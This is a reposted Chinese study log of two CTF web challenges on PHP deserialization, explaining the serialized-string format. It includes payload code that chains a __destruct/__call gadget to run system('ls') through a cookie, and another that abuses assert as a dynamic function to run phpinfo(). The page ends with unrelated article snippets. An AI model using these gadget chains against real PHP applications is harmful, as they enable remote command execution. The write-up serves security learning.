4.25日学习记录

[HZNUCTF 2023 preliminary]ppppop

对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下

序列化字符串的格式:
布尔型(bool)b:value
整数型(int)i:value
字符串型(str)s:length:"value"
数组型(array)a:length:{...}
对象型(object)
O:length:class_name:properties_number{...}
NULL型
序列化字符串中各部分的含义:

O:4:"User":1:{s:7:"isAdmin";b:0;}
//“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
//“4”代表类的名字占4个字符
//“User”代表类名
//“1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
//“s”代表字符串
//“7”代表属性名长度
//“isAdmin”属性名
//“b”代表布尔型数据
//“0”代表布尔值

 明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些

例题

打开环境一片空白

 正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的

cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)

页面是空的,可能是因为user中的布尔值是空的,改成1试一试

 出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了

strrev():

php函数,有反转字符串的功能

<?php
echo strrev("Hello World!");
?>

 分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行

构造payload

 <?php
class A {public $className="B";public $funcName="system";public $args="ls";public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}
$a=new A;
echo base64_encode(strrev(serialize($a)));?>

 目录下没有看见有效信息,看看环境变量env

 

 [NPUCTF2020]ReadlezPHP

php动态函数:

所谓动态函数,就是函数的名字用变量表示的函数。

function wel(){echo 'welcome';
}
$result = "wel";
$result();
//调用动态函数的方法:
定义一个变量名;
把函数名赋给变量名;
使用变量名代替函数名动态调用函数

 打开题目,查看源码

进入到source中,拿到一串源码,典型的反序列化

 <?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2024-04-25 01:45:07

这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;

assert被认定为可变函数

<?php$a = 'assert';$a('phpinfo()');
?># 这就是可变函数

 可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格

构造payload

<?php
class HelloPhp
{public $a;public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);

在phpinfo中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/3415.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu20.04开机运行java的sh脚本

用到了 rc.local 1、修改 /usr/lib/systemd/system/rc-local.service 在最下面添加 [Install] WantedBymulti-user.target 2、 系统没有 rc.local&#xff0c;需要手动创建 cd /etc vi rc.local在里面写入 /opt/start.sh chmod x /etc/rc.local # 添加可执行权限 chmod x…

基于小程序实现的惠农小店系统设计与开发

作者主页&#xff1a;Java码库 主营内容&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app等设计与开发。 收藏点赞不迷路 关注作者有好处 文末获取源码 技术选型 【后端】&#xff1a;Java 【框架】&#xff1a;spring…

队列的实现(c语言实现)

队列的定义 队列&#xff08;Queue&#xff09;是一种特殊的线性数据结构&#xff0c;它遵循先进先出&#xff08;FIFO&#xff0c;First In First Out&#xff09;的原则。这意味着最早被添加到队列中的元素将是最先被移除的元素。队列的主要操作包括入队&#xff08;enqueue…

【错题集-编程题】数组中的最长连续子序列(排序 + 模拟)

牛客对应链接&#xff1a;数组中的最长连续子序列_牛客题霸_牛客网 (nowcoder.com) 一、分析题目 排序 模拟。 注意&#xff1a;值连续&#xff0c;位置可以不连续&#xff01;小心处理数字相同的情况。 二、代码 //值得学习的代码 class Solution { public:int MLS(vecto…

数字藏品:重塑艺术与科技的新媒介

数字藏品&#xff0c;这个新兴的词汇&#xff0c;正在逐渐渗透到我们的日常生活中。它不仅是一种新的艺术表达方式&#xff0c;更是一种科技与艺术相结合的全新媒介。那么&#xff0c;数字藏品究竟是什么呢&#xff1f; 首先&#xff0c;我们需要明确一点&#xff0c;数字藏品并…

LeetCode53. 最大子数组和

LeetCode53. 最大子数组和 解题思路dp 代码 /* 数组长度n 9,连续的区间 那区间长度为1的区间数量是&#xff0c;9个 区间长度为2的区间数量是8个 区间长度为3的连续的区间数量为7个 .... 区间长度为9的区间数量为1个 */ class Solution { public:int maxSubArray(vector<…

游戏工作室为什么要使用海外住宅IP防封?

当谈到游戏工作室时&#xff0c;它们通常以多开游戏账号来获取收益为主要目标。这种商业模式在游戏产业中已经成为一个独特而且颇具潜力的领域。然而&#xff0c;随之而来的是防封问题&#xff0c;特别是当游戏工作室试图通过多开账号来赚取更多收益时。因此&#xff0c;我们有…

13(第十二章,元数据管理)

目录 概述 业务驱动因素 目标和原则 基本概念 元数据与数据 元数据的类型 业务元数据 技术元数据 操作元数据 元数据注册标准 元数据来源 元数据架构类型 集中式元数据架构 分布式元数据架构 混合式元数据架构 双向元数据架构 方法 数据血缘和影响分析 度量…

Java操作 elasticsearch 8.1,如何实现索引的重建?

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…

U盘无法正常格式化?教你一个强力的办法

前言 电脑格式化U盘或者移动硬盘的操作&#xff0c;相信各位小伙伴都是有一定经历的。 如果设备正常&#xff0c;那么进入到【此电脑】&#xff0c;在对应的分区点击【鼠标右键】-【格式化】就可以把对应的存储设备恢复到初始状态。 但凡事都会有例外&#xff0c;比如在格式化…

【openLooKeng-1.10.0集群环境安装部署】

openLooKeng-1.10.0集群环境安装部署 一、摘要二、正文1. 环境说明2. 集群拓扑图3. 安装过程(以root用户安装)3.1 在Coordinator和Worker两个节点都需要安装jdk1.8+3.2 在Coordinator上安装配置openLooKeng3.3 在Worker节点上进行配置openLooKeng3.4 在Coordinator节点上先启…

施耐德EOCR-2CT-300/5电流互感器 50HZ 5VA

EOCR主要产品有电子式电动机保护继电器&#xff0c;电子式过电流继电器&#xff0c;电子式欠电流继电器&#xff0c;电子式欠电压继电器&#xff0c;其它保护和监视装置&#xff0c;电流互感器。 施耐德EOCR-2CT-300/5电流互感器 EOCR-2CT系列型号&#xff1a; EOCR 2CT 100…

零基础HTML教程(28)--meta标签常见用法

文章目录 1. 引子2. 常见用法3. 小结 1. 引子 其实meta还挺好玩&#xff0c;它的意思是超越&#xff0c;元宇宙英文Metaverse&#xff0c;就是meta(超越)universe(宇宙)的结合。 所以美国的facebook把公司名都改为meta了。 但是在网页中&#xff0c;它没这么神&#xff0c;只…

python高级进阶(三)[面向对象]

目录 一、面向对象是什么&#xff1f; 二、面向对象编程主的基本概念 三、类 四、对象 4.1 创建对象的格式为 4.2 添加和获取对象的属性 4.3 在方法内通过self获取对象属性 4.4 __init__方法 说明&#xff1a; 4.5 有参数的__init__方法 说明&#xff1a; 注意&…

融合创新:LangChain、阿里云通义千问与SerpApi搜索的强强联合

随着人工智能技术的飞速发展,各类创新工具不断涌现,旨在为用户提供更高效、精准的信息获取与处理能力。本文将聚焦于三个颇具代表性的技术平台——LangChain、阿里云通义千问与SerpApi搜索,探讨它们各自的特性与优势,并展望它们如何相互融合,共同构建强大的智能解决方案。…

html中字体加粗

在HTML中&#xff0c;你可以使用<b>标签或<strong>标签来使字体加粗。<b>标签用于表示粗体文本&#xff0c;而<strong>标签不仅表示粗体文本&#xff0c;还表示文本的重要性。 例如&#xff1a; 使用<b>标签&#xff1a; <p>这是一个&l…

本地安装mysql并用python访问它

数据还是放在数据库中比较好&#xff0c;于是决定在本机安装个mysql服务。 环境&#xff1a;windows 10&#xff0c;python3.8.10 安装前首先要注意一点&#xff1a; 设置-系统-关于-设备&#xff08;电脑&#xff09;名称&#xff1a;为英文 一、进入mysql官网下载GPL免费版…

Java/Android设计模式学习笔记

Java/Android设计模式学习笔记 1.参考资料 书籍 适合容易集中精力的看,可以私信我拿资源 《Head First设计模式》—已看&#xff0c;推荐 《大话设计模式【Java溢彩加强版】》 – 程杰&#xff0c;2022年 《图解设计模式》 视频 适合不容易集中精力的看 尚硅谷Java设计…

C++概念、头文件与c区别、变量、const关键字以及enum枚举

C概念 C最主要的就是&#xff1a;C是面向对象的编程思想&#xff0c;而C是面向过程的编程思想。C编写出来的效率比其他语言高的多。 C思想&#xff1a;万物皆对象 C语言的主要特点表现在两个方面&#xff0c;一是尽量兼容C,二是支持面向对象的方法。首先&#xff0c;C的确是一…

SNETCracker--超级弱口令检查工具简介

一、简介 SNETCracker 超级弱口令检查工具是一款Windows平台的弱口令审计工具&#xff0c;支持批量多线程检查&#xff0c;可快速发现弱密码、弱口令账号&#xff0c;密码支持和用户名结合进行检查&#xff0c;大大提高成功率&#xff0c;支持自定义服务端口和字典。 二、SNE…